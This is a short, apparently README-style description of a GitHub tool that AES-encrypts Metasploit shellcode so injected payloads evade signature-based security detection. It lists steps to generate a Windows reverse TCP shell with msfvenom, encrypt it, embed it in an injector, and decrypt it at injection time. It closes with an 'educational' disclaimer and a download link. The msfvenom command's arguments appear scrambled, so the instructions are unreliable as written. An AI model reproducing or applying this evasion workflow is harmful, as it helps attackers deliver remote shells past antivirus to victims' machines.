This repository offers an utility that can encrypt any file type and output the encrypted result as an encrypted shell code. For injection operations to avoid signature-based detection by security controls, the act of encrypting shell code is critical.
- Use msfvenom -p windows/shell reverse tcp to construct a Metasploit shellcode. LPORT=443 -f LHOST=$LOCALIP shellcode.bin -o raw
- Use this tool to encrypt it: shellcode.bin encrypted code.txt AES Shellcode Encryptor.exe mySecretEncryptionKey
- Inside the injector, add encrypted shellcode
- Before injecting it, decode it with the key.
Disclaimer: The intended use for the tool is strictly educational and should not be used for any other purpose.
Download link: https://github.com/shaddy43/AES_Shellcode_Encryptor